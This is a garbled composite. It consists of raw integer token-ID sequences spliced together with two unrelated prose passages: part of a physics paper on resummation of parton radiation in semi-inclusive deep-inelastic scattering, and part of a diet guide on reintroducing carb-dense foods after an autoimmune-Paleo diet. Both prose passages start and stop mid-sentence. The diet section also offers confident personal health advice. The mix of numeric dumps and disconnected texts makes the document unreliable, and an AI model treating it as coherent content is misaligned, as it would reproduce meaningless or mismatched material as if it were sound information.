14, 1572, 14767, 75, 247, 1181, 12062, 347, 1677, 275, 3891, 55, 18, 47, 8372, 8001, 28161, 1037, 13, 436, 10096, 310, 1679, 17088, 685, 275, 253, 501, 360, 1314, 2831, 2593, 15, 1198, 370, 91, 61, 20089, 470, 15, 18, 1366, 253, 5675, 4311, 10096, 273, 253, 29994, 275, 253, 2367, 1179, 473, 3713, 1637, 64, 84, 1009, 10272, 6492, 326, 440, 15793, 264, 2169, 14, 2621, 2538, 2489, 1774, 285, 403, 3058, 281, 3157, 253, 3762, 13650, 15, 1198, 1650, 13, 1690, 253, 2367, 1179, 473, 3713, 1637, 63, 19, 64, 84, 1009, 10235, 2367, 1179, 330, 2026, 5830, 8814, 19, 10392, 275, 253, 501, 360, 1314, 10272, 588, 320, 3309, 281, 3157, 253, 5740, 273, 253, 6636, 8091, 29994, 275, 253, 1355, 14595, 91, 5, 2919, 15, 187, 187, 14146, 285, 11815, 1712, 4538, 18786, 94, 187, 48666, 187, 187, 688, 436, 2929, 359, 452, 4821, 253, 5955, 273, 253, 2538, 273, 2709, 629, 251, 7742, 275, 10020, 14, 249, 7426, 3676, 14, 249, 25563, 11715, 326, 369, 3053, 275, 1008, 2224, 90, 9595, 1570, 844, 452, 5183, 326, 841, 2538, 4833, 247, 1781, 966, 273, 34658, 285, 476, 320, 2529, 342, 253, 1361, 273, 247, 501, 20440, 318, 30221, 1008, 46, 1205, 19, 62, 326, 310, 2074, 281, 253, 501, 20440, 318, 30221, 908, 281, 3157, 253, 10527, 5740, 273, 2341, 14, 14115, 13007, 275, 370, 70, 4526, 70, 33026, 574, 287, 25307, 1008, 5166, 554, 358, 1092, 285, 1355, 14595, 81, 64, 53, 5, 4972, 32438, 3275, 387, 574, 1406, 14, 10178, 1406, 3007, 5852, 1008, 30928, 1570, 187, 187, 8430, 436, 30221, 3198, 2007, 7756, 13, 275, 1798, 275, 253, 5199, 323, 11038, 253, 501, 360, 1314, 6970, 342, 253, 43939, 906, 275, 253, 5502, 2919, 13, 352, 2168, 19132, 253, 4345, 875, 253, 3762, 285, 253, 941, 285, 3400, 4722, 16039, 670, 18276, 3386, 273, 10020, 14, 249, 7426, 15724, 15, 844, 452, 5183, 326, 253, 501, 20440, 318, 30221, 8631, 253, 10585, 263, 522, 14283, 10670, 273, 253, 17430, 2341, 2685, 625, 13613, 685, 253, 427, 8372, 10272, 28, 436, 30221, 671, 556, 1175, 2442, 281, 3157, 253, 5740, 273, 2710, 10670, 273, 8091, 29994, 15, 187, 187, 4509, 776, 1783, 359, 7525, 326, 253, 21657, 4080, 370, 82, 64, 53, 5, 3268, 323, 253, 2341, 2685, 3862, 561, 9086, 347, 370, 89, 393, 376, 470, 1352, 831, 5233, 44448, 273, 253, 370, 82, 64, 53, 5, 3268, 476, 320, 8156, 604, 253, 1327, 44931, 800, 14893, 28101, 2803, 275, 253, 501, 360, 1314, 2341, 2685, 5459, 347, 370, 18, 16, 89, 1352, 10244, 13, 253, 370, 82, 64, 53, 5, 3268, 323, 253, 6636, 8091, 29994, 3862, 561, 9086, 672, 370, 91, 393, 376, 470, 1366, 534, 310, 5185, 342, 253, 1327, 44931, 800, 14893, 28101, 2803, 3629, 347, 370, 91, 2497, 18, 15, 21, 3363, 380, 256, 15857, 1327, 44931, 800, 14893, 28101, 2616, 387, 1355, 2193, 273, 370, 89, 5, 285, 370, 91, 5, 403, 3103, 36143, 1027, 432, 253, 1929, 1327, 44931, 800, 14893, 28101, 2616, 323, 4972, 32438, 3275, 285, 370, 70, 4526, 70, 33026, 574, 287, 25307, 13, 534, 513, 417, 3469, 327, 253, 14854, 4903, 387, 512, 15, 380, 5233, 3116, 273, 253, 1327, 44931, 800, 14893, 28101, 2803, 275, 256, 15857, 1537, 5224, 326, 253, 370, 554, 5, 3007, 1334, 20467, 34, 5216, 253, 501, 20440, 318, 30221, 275, 247, 747, 18525, 9459, 13, 534, 369, 417, 5421, 2568, 387, 3007, 5852, 273, 643, 3510, 15, 187, 187, 2512, 403, 2067, 10527, 7794, 273, 253, 501, 20440, 318, 30221, 326, 476, 320, 31637, 672, 625, 5661, 941, 403, 3863, 15, 11243, 253, 6253, 11649, 275, 253, 13650, 273, 253, 501, 20440, 318, 30221, 3249, 432, 253, 7202, 1327, 44931, 800, 9021, 13, 534, 275, 253, 370, 67, 2911, 5641, 30221, 403, 2908, 275, 253, 1327, 44931, 800, 14893, 28101, 2803, 370, 52, 768, 11236, 1603, 67, 3822, 496, 436, 2929, 13, 359, 452, 3559, 2969, 30364, 21100, 569, 273, 370, 52, 768, 11236, 1603, 67, 1009, 323, 253, 17430, 2341, 2685, 313, 7836, 15, 6354, 27114, 47936, 91, 696, 1228, 285, 6636, 8091, 29994, 313, 7836, 15, 6354, 27114, 47936, 348, 35333, 3851, 481, 2053, 30364, 21100, 569, 497, 1119, 407, 13532, 253, 501, 360, 1314, 2341, 2685, 285, 6636, 8091, 29994, 281, 253, 941, 432, 41966, 6334, 41, 18, 91, 18, 28, 1214, 41, 18, 91, 19, 62, 285, 7567, 6334, 9339, 3016, 348, 35333, 4196, 1092, 2975, 15, 25632, 6341, 3345, 253, 2491, 273, 1110, 941, 588, 1056, 352, 1896, 281, 2007, 3157, 841, 30364, 21100, 569, 285, 13, 7613, 13, 253, 7200, 273, 253, 501, 20440, 318, 30221, 15, 187, 187, 510, 954, 15246, 1039, 281, 1263, 370, 52, 768, 11236, 1603, 67, 1009, 310, 407, 10499, 253, 7629, 273, 253, 370, 82, 64, 53, 5, 9408, 273, 3520, 13483, 1955, 281, 10575, 273, 581, 40395, 474, 4778, 13, 342, 643, 4903, 4229, 390, 11962, 760, 275, 247, 1355, 2491, 15, 1198, 253, 2341, 2685, 13, 352, 651, 320, 12912, 281, 4044, 625, 941, 387, 370, 89, 2239, 884, 2497, 19, 3303, 835, 253, 13650, 273, 253, 501, 20440, 318, 30221, 476, 320, 5762, 625, 27340, 13, 1293, 2442, 20418, 1955, 281, 253, 1355, 14595, 89, 5, 12057, 15, 8035, 4722, 1953, 310, 253, 10096, 273, 253, 1327, 44931, 800, 14893, 28101, 2803, 327, 253, 7503, 414, 370, 50, 5, 273, 253, 4972, 32438, 15, 831, 10096, 476, 320, 5762, 407, 12392, 253, 370, 82, 64, 53, 5, 9408, 275, 247, 2491, 273, 370, 50, 5, 342, 4209, 5661, 6064, 275, 253, 1655, 27159, 2919, 15, 6610, 13, 281, 1263, 2538, 273, 2709, 629, 251, 7742, 327, 10020, 14, 249, 7426, 3275, 273, 2060, 574, 9036, 13, 352, 588, 320, 4722, 281, 923, 253, 370, 82, 64, 53, 5, 9408, 323, 8091, 3275, 30840, 1005, 342, 253, 3081, 7658, 370, 91, 2239, 470, 15, 1762, 393, 3549, 470, 15, 18, 1366, 3921, 74, 15, 70, 904, 4622, 275, 253, 40395, 474, 2919, 835, 253, 30364, 21100, 569, 273, 253 ]

ical effect, namely an extra factor $1/z^2$ which is absent in the distribution of $\langle q_T^2 \rangle$ vs. $x_F$. Once this extra factor is removed, we see from Fig.\[seagull\]b that $\langle q_T^2 \rangle$ increases monotonically and rapidly as $z$ approaches zero. In other words, the $q_T$ distribution broadens rapidly when $z$ decreases. This behavior is approximately realized by the simple $z$-dependent nonperturbative Sudakov factor $S^{NP}(b,Q,x,z)$ given in Eq.(\[SNPchgd\]). The shape of the resummed cross section at $q_T \leq 5$ GeV and the parametrization of $S^{NP}(b,Q,x,z)$ were chosen to maximize the agreement between the resummed distribution of $\langle q_T^2 \rangle$ vs. $x_F$ and the “derived data” ([*cf.*]{} Fig.\[seagull\]b). Figure\[seagull\]b shows that the resummed calculation is in better agreement with the data points than the NLO expression. We have found it difficult to reproduce the rapid growth of $\langle q_T^2 \rangle$ as $x_F \ra 0$ in either approach. In the future, it will be interesting to see how a more precise theoretical study will be able to adequately explain this rapid growth of $\langle q_T^2 \rangle$ in the region $x_F \ra 0$, assuming that the actual experimental data for the $\langle q_T^2 \rangle$ vs. $x_F$ distribution resemble the “derived data” discussed above. The resummation also significantly affects the $p_T$ dependence of the charged particle multiplicity. In Fig.\[dsigdpt\] we present the distribution $(1/\sigma_{tot}) d\sigma/dp_T$. We see that resummation effects must be included to describe the shape of this distribution at $p_T \leq 1$ GeV. Furthermore, resummation also improves the agreement between the theory and the experiment in the whole range of $p_T$. Through Eq.(\[pTB\]), the improved description of the $q_T$ distribution in the small-$q_T$ region translates into a better agreement with the $p_T$ distribution in the whole range of $p_T$. Just as in the case of the $z$-flow, the fixed-order calculation gives a rate that is too small compared to the data, which implies that higher-order corrections are important. Until the complete ${\cal O}(\alpha_s^2)$ corrections are available, the resummation formalism, which already accounts for the most important contributions in the region of the phase space with the highest rate ([*i.e.,*]{} at small $q_T$), serves as a better theoretical prediction in the whole range of $p_T$. Finally, Fig.\[dsigdxf\] shows the $x_F$-distribution for the charged particle multiplicity $(1/\sigma_{tot})d\sigma/dx_F$. We see that both the resummed and fixed-order distributions are in reasonable agreement with the data and with earlier published theoretical results for the ${\cal O}(\alpha_s)$ $x_F$-distributions [@Graudenz]. For the fixed-order multiplicity, we present two additional curves corresponding to different choices of the factorization scale $\mu_F$ in (\[factcs\]); the lower and upper dotted curves correspond to $\mu_F =0.5 Q$ and $2 Q$, respectively. Note that the scale dependence of the NLO multiplicity increases when $z\ra 0$. Also note that the resummed multiplicity is significantly lower than the data in the two lowest bins of $x_F$ ($\langle x_F \rangle = 0.075$ and $0.125$), but consistent with the NLO multiplicity within the uncertainty due to the scale dependence. Such behavior of the resummed multiplicity results from the dependence of the ${\cal O}(\alpha_s)$ coefficient functions ${\cal C}^{out (1)}_{ba}(\widehat z,C_1,C_2,b_*,\mu_F)$ on the additional term $\ln\zh$ which was given in Eqs.(\[C1out\]) and (\[C1out2\]) and discussed at the end of Section\[SecSummary\]. This negative logarithm dominates the ${\cal C}^{out (1)}$-functions at very small values of $\zh$. Similarly, the integral (\[NLOcs\]) of the NLO cross section over the lowest bin $0 \leq q_T^2 \leq (q_T^{sep})^2 $ depends on $\ln{\zh}$ through the terms -( (1-) \_[b j]{} P\_[j a]{} () + P\_[b j]{} ()(1-)\_[j a]{} ), as given in (\[V1NLO\]). Numerically, this dependence is less pronounced than in the resummed cross section. For $z\lesssim 0.1$, the growing scale dependence of the multiplicity in the ${\cal O}(\alpha_s)$ calculation indicates that unaccounted higher-order effects become important and are needed to improve the theory predictions. For example, including the ${\cal O}(\alpha^2_s)$ coefficient ${\cal C}_{ba}^{(2)}$ in the resummed calculation will be necessary to improve the description of the charged particle multiplicity in the small-$z$ region. Discussion and conclusions {#SecConclusion} ========================== In this paper we have continued the discussion of the effects of multiple parton radiation in semi-inclusive deep-inelastic scattering that was started in [@nsy1999]. We have demonstrated that these effects influence a large class of observables and can be described with the help of a resummation formalism [@Meng2] that is similar to the resummation formalism used to improve the theoretical description of energy-energy correlations in $e^+e^-$ hadroproduction [@CSepem], and small-$p_T$ vector boson production at hadron-hadron colliders [@CSS]. Although this formalism needs further improvement, in particular in the procedure for matching the resummed curve with the perturbative result in the transition region, it already improves the agreement between the theory and the data and provides interesting insights about qualitative features of semi-inclusive DIS. We have demonstrated that the resummation formalism describes the pseudorapidity distributions of the transverse energy flow more accurately than the NLO calculation; this formalism also has good potential to improve the description of various distributions of particle multiplicity. From our analysis we conclude that the experimentally measured $q_T$ distribution for the energy flow broadens rapidly as $x \ra 0$. This rapid broadening of the $q_T$ distribution can be realized if the nonperturbative Sudakov factor in the resummed energy flow increases as $1/x$. Similarly, the $q_T$ distribution for the charged particle multiplicity broadens rapidly when $z \ra 0$, which is consistent with the nonperturbative Sudakov factor increasing as $z^{-1.4}$. The sDIS nonperturbative Sudakov factors at small values of $x$ and $z$ are therefore qualitatively different from the known nonperturbative Sudakov factors for vector boson production and $e^+e^-$ hadroproduction, which do not depend on the longitudinal variables at all. The rapid growth of the nonperturbative Sudakov factor in sDIS might indicate that the $ep$ collider HERA tests the resummation formalism in a new dynamical regime, which was not studied yet at colliders of other types. There are several theoretical aspects of the resummation formalism that can be clarified when more experimental data are published. Perhaps the largest uncertainty in the predictions of the resummation formalism comes from the unknown nonperturbative contributions, which in the $b$-space formalism are included in the nonperturbative Sudakov factor $S^{NP}(b)$. In this paper, we have presented simple parametrizations of $S^{NP}(b)$ for the transverse energy flow (cf. Eq.(\[SNPz\])) and charged particle multiplicity (cf. Eq.(\[SNPchgd\])). These parametrizations were found by fitting the resummed energy flow and charged particle multiplicity to the data from Refs.[@H1z1; @H1z2] and Ref.[@ZEUSchgd96], respectively. Experimental measurements outside the range of those data will make it possible to further improve these parametrizations and, hence, the accuracy of the resummation formalism. The most straightforward way to study $S^{NP}(b)$ is by measuring the variation of the $q_T$ spectra of physical quantities due to variations of one kinematical variable, with other variables fixed or varying only in a small range. For the energy flow, it would be beneficial to obtain more data at $x > 10^{-2}$, where the predictions of the resummation formalism can be tested more reliably, without potential uncertainties due to the small-$x$ physics. Another interesting question is the dependence of the nonperturbative Sudakov factor on the virtuality $Q$ of the vector boson. This dependence can be tested by studying the $q_T$ spectra in a range of $Q$ with sufficient experimental resolution in the current fragmentation region. Finally, to study effects of multiple parton radiation on semi-inclusive production of individual hadrons, it will be interesting to see the $q_T$ spectra for particle production multiplicities with the additional constraint $z > 0.05 \sim 0.1$, [*i.e.,*]{} in the kinematical region where the parametrizations of the

[ 23395, 342, 776, 294, 46089, 3213, 15, 3973, 13, 359, 878, 281, 3653, 604, 368, 31259, 4973, 273, 1113, 1768, 313, 3022, 11789, 390, 20951, 481, 1422, 1833, 320, 5175, 436, 1309, 634, 294, 46089, 15, 2635, 13, 2378, 368, 871, 752, 12344, 4973, 368, 1472, 10826, 342, 13, 368, 476, 3368, 342, 4627, 272, 634, 4583, 12344, 10820, 285, 6523, 849, 368, 1928, 15, 3856, 310, 752, 436, 1537, 1007, 751, 27, 187, 187, 1394, 2427, 327, 253, 25787, 14, 49, 1079, 80, 6196, 285, 3543, 1805, 15, 3954, 13, 368, 588, 320, 294, 36445, 2844, 12134, 326, 497, 417, 4136, 327, 253, 25787, 14, 49, 1079, 80, 6196, 13, 751, 20951, 285, 7353, 20951, 15, 1422, 513, 436, 13, 285, 597, 1646, 4030, 15, 1422, 840, 2118, 327, 281, 12134, 417, 4136, 327, 253, 38856, 80, 6196, 13, 751, 11789, 15, 23773, 369, 671, 10826, 15, 187, 187, 4125, 359, 871, 368, 476, 31259, 841, 12134, 13, 533, 253, 1953, 310, 13, 588, 368, 1928, 1805, 672, 368, 6008, 841, 12344, 14, 43200, 12134, 11719, 13, 534, 588, 2572, 634, 5312, 12344, 10820, 32, 187, 187, 1394, 1024, 823, 247, 1355, 9417, 273, 11789, 13, 14408, 13, 390, 7353, 14408, 281, 1016, 11484, 323, 247, 4564, 273, 1897, 13, 285, 923, 849, 368, 1928, 15, 1422, 812, 1385, 634, 12344, 23891, 604, 368, 1871, 751, 13, 533, 368, 1053, 626, 878, 281, 15, 380, 1921, 368, 1053, 626, 878, 281, 310, 984, 368, 1472, 417, 9602, 323, 247, 1677, 1180, 390, 1268, 533, 2581, 10054, 4116, 281, 923, 672, 634, 2133, 9193, 1682, 15, 187, 187, 3039, 952, 2572, 616, 1113, 1768, 13, 597, 4366, 581, 273, 767, 1841, 27, 597, 1928, 1805, 13, 390, 597, 1928, 7197, 15, 4683, 2282, 13, 604, 368, 1928, 7197, 13, 4796, 634, 1113, 1768, 15, 1310, 368, 1928, 1805, 13, 4035, 342, 253, 1113, 1768, 15, 2726, 673, 285, 8310, 13, 368, 943, 16359, 715, 253, 987, 1268, 273, 12344, 10820, 323, 368, 15, 1310, 368, 1053, 626, 4366, 667, 3064, 672, 9123, 625, 390, 11184, 1113, 1768, 1128, 14829, 37230, 15, 1422, 452, 247, 30708, 17493, 326, 476, 34298, 327, 2057, 15, 187, 187, 4118, 28481, 12344, 4973, 187, 187, 2042, 368, 4366, 368, 1928, 1805, 342, 247, 10290, 281, 2169, 12344, 10820, 13, 1060, 310, 247, 1618, 273, 2169, 14, 41293, 12134, 326, 5257, 281, 789, 973, 323, 954, 27, 535, 50276, 11, 5219, 11789, 187, 50276, 11, 5219, 14408, 187, 50276, 11, 26048, 14408, 187, 50276, 11, 4051, 10284, 14, 4924, 10238, 3580, 187, 50276, 11, 473, 1832, 187, 50276, 11, 21307, 1550, 187, 50276, 11, 16211, 2623, 13, 13586, 80, 13, 340, 86, 18442, 187, 50276, 11, 33538, 357, 12727, 187, 50276, 11, 14656, 313, 4160, 14, 40, 6329, 10, 187, 187, 4118, 1720, 46089, 39994, 187, 187, 19515, 841, 1841, 275, 2564, 347, 368, 294, 36445, 336, 12134, 27, 535, 50276, 11, 1720, 36445, 336, 432, 253, 1755, 273, 776, 39694, 1066, 15, 187, 50276, 11, 11075, 634, 294, 46089, 342, 346, 6678, 1592, 3, 12134, 806, 15, 187, 50276, 11, 15358, 281, 294, 36445, 336, 12134, 581, 387, 247, 673, 15, 2490, 50274, 11, 831, 7729, 20843, 534, 12134, 403, 20276, 15, 1310, 368, 294, 36445, 336, 2620, 12134, 387, 253, 1072, 673, 285, 452, 247, 4884, 13, 352, 434, 1892, 281, 1333, 534, 2739, 4269, 352, 15, 187, 50276, 11, 1198, 247, 1677, 2739, 13, 1611, 281, 452, 247, 1643, 1296, 723, 247, 1388, 323, 247, 1643, 1897, 15, 2490, 50274, 11, 733, 434, 417, 512, 390, 5293, 15, 3808, 952, 476, 31259, 1355, 8322, 273, 9632, 12134, 13, 594, 1907, 247, 1643, 1296, 723, 588, 1361, 368, 4271, 604, 368, 452, 247, 2176, 7887, 15, 187, 50276, 11, 380, 625, 5460, 634, 45458, 13, 253, 625, 4755, 352, 588, 320, 2220, 294, 46089, 1128, 30407, 253, 625, 5460, 634, 4884, 588, 320, 15, 187, 50276, 11, 38078, 634, 12344, 10820, 310, 629, 273, 253, 294, 46089, 15, 33851, 281, 634, 2133, 347, 368, 294, 36445, 336, 12134, 326, 403, 12344, 14086, 13, 285, 4575, 15672, 15, 187, 50276, 11, 5037, 626, 4446, 4834, 10412, 342, 4278, 15, 2490, 50274, 11, 19296, 1943, 5406, 285, 670, 752, 368, 513, 954, 273, 253, 673, 15, 5037, 626, 43922, 689, 7017, 15048, 4278, 390, 670, 271, 19322, 745, 14, 11139, 11484, 15, 187, 50276, 11, 25792, 1037, 45735, 634, 294, 46089, 15, 2490, 50274, 11, 831, 310, 752, 359, 403, 2509, 1024, 9418, 187, 187, 4118, 3856, 403, 247, 1643, 3081, 2792, 4409, 43962, 187, 187, 1835, 2325, 13224, 187, 187, 1394, 878, 281, 1089, 253, 987, 6196, 795, 1542, 368, 4414, 1422, 452, 2668, 14779, 5018, 281, 20658, 634, 11479, 594, 326, 368, 476, 31259, 253, 3862, 383, 2491, 273, 12134, 1896, 13, 285, 1024, 359, 588, 3653, 752, 326, 2491, 310, 275, 776, 294, 46089, 3213, 15, 7900, 332, 368, 990, 598, 13, 320, 13224, 275, 634, 6196, 15, 5037, 626, 1918, 275, 281, 3473, 432, 5017, 368, 1239, 327, 253, 7336, 15, 1310, 368, 16359, 715, 247, 1698, 14, 41293, 2746, 13, 368, 778, 1239, 326, 1698, 12344, 310, 3076, 984, 352, 346, 7873, 1634, 634, 11479, 19775, 449, 844, 1849, 2168, 4274, 3938, 264, 436, 4473, 13, 594, 452, 7162, 326, 604, 436, 310, 752, 9193, 1682, 323, 368, 13, 795, 262, 310, 64, 253, 1682, 323, 368, 15, 2207, 13, 604, 368, 452, 11371, 715, 247, 2169, 14, 41293, 2746, 13, 368, 778, 1239, 326, 2169, 14, 41293, 25257, 476, 2847, 2801, 6351, 285, 8401, 15, 1292, 359, 1849, 2168, 10062, 670, 849, 690, 952, 588, 2686, 513, 1805, 342, 616, 2801, 285, 2614, 8618, 327, 247, 2169, 14, 41293, 6196, 15, 1893, 13, 320, 13224, 326, 253, 6196, 368, 1928, 1682, 327, 310, 253, 1682, 6196, 323, 368, 285, 323, 634, 4451, 17493, 15, 187, 187, 5498, 626, 7277, 4834, 281, 3780, 2010, 15, 1310, 634, 3331, 1057, 1270, 327, 8783, 273, 9538, 285, 1029, 14, 39, 3519, 13820, 12134, 1128, 12311, 323, 617, 15, 2064, 1511, 273, 6196, 778, 1086, 2542, 2571, 15, 1893, 320, 10826, 342, 253, 6196, 795, 5658, 64, 1928, 1682, 327, 1128, 25224, 263, 634, 4451, 17493, 15, 1244, 13, 4754, 13, 1014, 604, 634, 3331, 556, 1270, 27665, 13, 352, 2506, 626, 1599, 368, 943, 956, 617, 6196, 15, 3808, 952, 452, 352, 3477, 13, 285, 597, 588, 452, 1270, 27665, 642, 2647, 752, 597, 6008, 13, 816, 751, 690, 952, 588, 3297, 6906, 642, 2647, 752, 597, 6008, 15, 831, 2506, 626, 1599, 368, 943, 1007, 281, 841, 952, 323, 15048, 7535, 15, 3771, 984, 690, 952, 452, 644, 18445, 247, 27949, 6380, 1133, 1057, 417, 1599, 597, 452, 667, 22796, 752, 597, 403, 2509, 15, 10215, 776, 6495, 14, 249, 14, 25, 1232, 13, 285, 4035, 281, 789, 949, 352, 15, 831, 588, 755, 368, 281, 253, 1682, 285, 3862, 383, 6196, 323, 368, 15, 187, 187, 1835, 733, 310, 417, 512, 390, 5293, 187, 187, 2512, 5257, 281, 320, 2308, 273, 2739, 13761, 15, 1198, 1650, 13, 690, 952, 476, 6008, 22759, 275, 667, 10671, 342, 8839, 642, 1895, 15, 19810, 476, 626, 452, 667, 1293, 5471, 298, 528, 90, 15, 1244, 987, 275, 253, 4766, 273, 841, 952, 13, 403, 1110, 665, 476, 452, 795, 8826, 64, 22759, 13, 533, 604, 597, 452, 795, 15627, 64, 1199, 13, 597, 1053, 626, 1928, 973, 15, 3771, 984, 368, 1053, 626, 513, 973, 342, 1781, 13483, 273, 247, 2176, 2739, 2506, 626, 1599, 368, 878, 281, 3693, 352, 2233, 7739, 16600, 436, 275, 2564, 13, 984, 352, 476, 1361, 1056, 634, 6196, 1679, 29190, 15, 187, 187, 2214, 1650, 13, 309, 5393, 619, 7364, 342, 1578, 7100, 80, 4321, 15, 309, 476, 513, 581, 1578, 7100, 80, 5484, 313, 27978, 767, 281, 1264, 13768, 582, 533, 604, 309, 513, 625, 685, 436, 13, 619, 11479, 310, 417, 5211, 15, 309, 671, 1053, 626, 1646, 281, 19818, 30167, 8689, 8349, 973, 15, 309, 476, 6008, 1355, 13483, 13, 533, 4067, 1296, 723, 1053, 626, 1790, 973, 342, 479, 15, 309, 452, 642, 1895, 342, 33666, 390, 22759, 13, 533, 309, 1335, 1053, 626, 1056, 33666, 247, 15048, 37891, 15, 187, 187, 1147, 434, 3164, 417, 247, 1175, 2934, 281, 21409, 667, 273, 253, 12134, 368, 4366, 247, 4884, 281, 1046, 1388, 15, 1198, 1650, 13, 309, 1053, 626, 452, 1578, 7100, 80, 1046, 1388, 15, 1310, 309, 513, 13, 846, 247, 1223, 309, 4366, 619, 27665, 7866, 281, 810, 560, 15, 1292, 436, 2506, 626, 1599, 326, 309, 476, 626, 452, 581, 390, 767, 1578, 7100, 80, 17208, 275, 247, 1677, 2129, 604, 309, 1353, 275, 253, 12315, 13, 390, 604, 309, 1353, 15153, 285, 253, 8574, 2130, 4453, 17319, 13, 326, 309, 476, 626, 452, 271, 1578, 7100, 80, 5484, 1046, 1388, 1223, 15153, 285, 840, 1091, 281, 619, 19322, 8353, 672, 309, 755, 1728, 15, 9876, 436, 1056, 3282, 32, 2325, 12112, 342, 634, 28772, 273, 9632, 12134, 13, 984, 352, 588, 1056, 634, 1495, 247, 2257, 6927, 13, 625, 30357, 13, 285, 23592, 1321, 15, 187, 187, 1835, 6129, 1507, 403, 5657, 13, 417, 31194, 187, 187, 510, 25257, 359, 452, 6107, 313, 49, 1079, 80, 13, 1698, 401, 3519, 13820, 13, 2406, 12344, 13, 285, 253, 2571, 10, 403, 5657, 281, 1361, 368, 625, 4541, 4271, 12134, 326, 1537, 320, 20276, 15, 5595, 952, 990, 598, 342, 247, 4451, 19310, 273, 9371, 7313, 2668, 432, 841, 25257, 15, 5037, 626, 7664, 604, 368, 1053, 626, 956, 795, 455, 64, 253, 4803, 323, 247, 1677, 6196, 7231, 314, 15, 3824, 12553, 4736, 310, 281, 755, 368, 281, 253, 795, 31876, 383, 64, 1896, 6196, 15, 17814, 310, 1027, 275, 2426, 273, 752, 616, 15048, 13674, 588, 320, 13, 533, 4130, 556, 281, 564, 949, 253, 1232, 273, 5175, 841, 13674, 281, 923, 835, 597, 403, 15, 187, 187, 1835, 3166, 417, 4709, 2739, 187, 187, 20517, 13, 352, 434, 1774, 281, 3748, 326, 952, 588, 2223, 4366, 247, 16821, 2559, 3745, 281, 6008, 12134, 326, 908, 281, 15105, 731, 846, 597, 452, 4307, 598, 281, 3213, 608, 15, 733, 434, 1774, 326, 359, 5100, 436, 13, 984, 690, 1363, 755, 16060, 715, 4680, 597, 476, 1620, 969, 452, 247, 18470, 273, 33666, 13, 22759, 13, 1029, 14, 39, 3519, 13820, 12134, 13, 1327, 14, 49, 1079, 80, 12134, 13, 390, 544, 14447, 2739, 1060, 1570, 831, 310, 417, 2032, 13, 285, 436, 9927, 310, 417, 5875, 15, 6279, 13, 368, 588, 2779, 4366, 627, 403, 690, 12134, 368, 476, 626, 6008, 390, 476, 760, 452, 275, 1355, 13483, 15, 1292, 513, 368, 4456, 849, 6422, 1659, 37298, 403, 32, 1310, 368, 452, 253, 9927, 326, 368, 588, 755, 8334, 432, 247, 2176, 2739, 13, 627, 310, 247, 2266, 4839, 368, 588, 346, 5070, 2399, 3, 436, 715, 1146, 15, 2596, 273, 253, 954, 1959, 272, 285, 12912, 9506, 309, 5517, 275, 253, 14235, 310, 672, 309, 2028, 247, 3110, 13, 346, 1147, 434, 10826, 281, 1071, 634, 2739, 13674, 13, 285, 309, 30258, 368, 588, 320, 2104, 281, 6008, 1142, 273, 634, 686, 28872, 8, 12134, 342, 642, 1895, 387, 512, 15, 30706, 731, 449, 187, 187, 1835, 6618, 12270, 403, 10826, 187, 187, 29139, 403, 2223, 9202, 273, 346, 11849, 247, 10551, 3, 846, 2444, 1892, 281, 20658, 616, 43370, 15, 1583, 5257, 281, 1158, 326, 2607, 273, 789, 476, 320, 3807, 531, 407, 247, 4564, 273, 3076, 16961, 15, 831, 310, 417, 2032, 15, 18741, 849, 1774, 253, 3126, 368, 2794, 323, 634, 30158, 310, 32, 1310, 368, 1472, 9123, 285, 3811, 1786, 1031, 954, 273, 253, 673, 13, 368, 588, 2794, 271, 3126, 326, 25243, 398, 247, 5875, 30158, 15, 5595, 273, 253, 673, 2097, 352, 434, 10826, 281, 452, 19322, 21492, 15, 1310, 253, 3513, 275, 634, 2846, 2335, 1264, 846, 2369, 790, 745, 689, 253, 2282, 273, 247, 1770, 13, 651, 634, 2846, 8423, 320, 689, 6321, 342, 6617, 32, 1621, 13, 273, 2282, 417, 15, 5402, 11479, 310, 253, 1072, 1039, 15, 733, 434, 752, 368, 513, 795, 2252, 64, 273, 253, 673, 326, 434, 1774, 13, 594, 1053, 626, 7171, 4834, 598, 390, 320, 35268, 326, 271, 19322, 745, 14, 11139, 11484, 588, 320, 247, 2968, 2740, 254, 15, 187, 187, 817 ]

nicely with our reintroduction step. First, we need to determine if you tolerate sources of carbs (like rice or potatoes). You'll be testing this during your reintroduction. Then, once you know what carb sources you're OK with, you can experiment with upping your overall carb intake and seeing how you feel. Here is what this might look like: You went on the autoimmune-Paleo diet and felt better. Now, you will be reintroducing foods that were not allowed on the autoimmune-Paleo diet, like potatoes and sweet potatoes. You do this, and they seem fine. You then move on to foods not allowed on the Paleo diet, like rice. Rice was also OK. Now we know you can tolerate these foods, but the question is, will you feel better when you eat these carb-dense foods regularly, which will increase your daily carb intake? You now add a small serving of rice, potato, or sweet potato to each meal for a couple of days, and see how you feel. You could count your carb grams if you'd like, but you don't need to. The reason you don't need to is because you're not shooting for a given number or level but rather paying attention to see when your body feels best. When people increase their carbs, they notice one of two things: they feel better, or they feel worse. Of course, if you feel worse, reduce your carbs. If you feel better, continue with the carbs. With time and observation, you should settle into the right level of carb intake for you. If you don't notice any difference when eating more or fewer carbs—congratulations. You have a versatile ecosystem that can thrive on either. ### Safe carb sources If you notice you feel better with a moderate to higher carb intake, here is a list of higher-carb foods that tend to work well for most: * White rice * White potato * Sweet potato * Gluten-free bread products * Oats * Plantains * Cassava, taro, yucca * Rutabaga * Corn (non-GMO) ### Reintroduction recap Keep these things in mind as you reintroduce foods: * Reintroduce from the top of our pyramid down. * Start your reintroduction with "safer" foods first. * Try to reintroduce foods one at a time. * This helps isolate which foods are problematic. If you reintroduce five foods at the same time and have a reaction, it's hard to say which food caused it. * For a given food, try to have a few servings a day for a few days. * It's not all or none. Some people can tolerate small amounts of trigger foods, so having a few servings will help you identify if you have a certain threshold. * The more severe your intolerance, the more obvious it will be upon reintroduction—meaning the more severe your reaction will be. * Increasing your carb intake is part of the reintroduction. Listen to your body as you reintroduce foods that are carb dense, and adjust accordingly. * Don't drive yourself crazy with details. * Think big picture and about what you do most of the time. Don't fret over minute dietary details or about an occasional off-plan meal. * Periodically revisit your reintroduction. * This is what we are doing now :) ### Here are a few additional points worth emphasizing #### Be confident You need to find the right diet _for you_. You have taken enormous steps to heal your gut so that you can tolerate the broadest range of foods possible, and now we will determine what that range is in our reintroduction step. Wherever you end up, be confident in your diet. Don't give in to pressure from stuff you read on the Internet. If you settle into a low-carb approach, you may read that low carb is bad because it "starves your gut bugs." We've already debunked this concept, so have confidence that if this is what feels best for you, _it is_ the best for you. Or, if you have settled into a higher-carb approach, you may read that higher-carb diets can cause weight gain and diabetes. But we've already talked about how some people will actually do better with their weight and blood sugar on a higher-carb diet. So, be confident that the diet you feel best on is the best diet for you and for your 